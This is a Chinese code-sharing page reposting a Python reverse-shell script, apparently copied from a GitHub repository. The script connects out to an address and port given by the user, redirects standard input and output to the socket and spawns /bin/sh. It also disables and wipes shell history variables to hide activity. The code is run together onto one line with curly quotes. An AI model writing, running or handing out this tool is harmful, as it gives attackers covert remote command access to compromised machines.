首页 > 代码库 > python 反弹shell
python 反弹shell
来源:https://github.com/dairoot/Shell-rebound/blob/master/back.py
sec.net/nc.py
# -*- coding:utf-8 -*-#!/usr/bin/env python"""back connect py version,only linux have pty modulecode by google security team"""import sys,os,socket,ptyshell = "/bin/sh"def usage(name): print ‘python reverse connector‘ print ‘usage: %s <ip_addr> <port>‘ % namedef main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print ‘connect ok‘ except: print ‘connect faild‘ sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",‘/dev/null‘) os.putenv("HISTSIZE",‘0‘) os.putenv("HISTFILESIZE",‘0‘) pty.spawn(shell) s.close()if __name__ == ‘__main__‘: main()
python 反弹shell
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。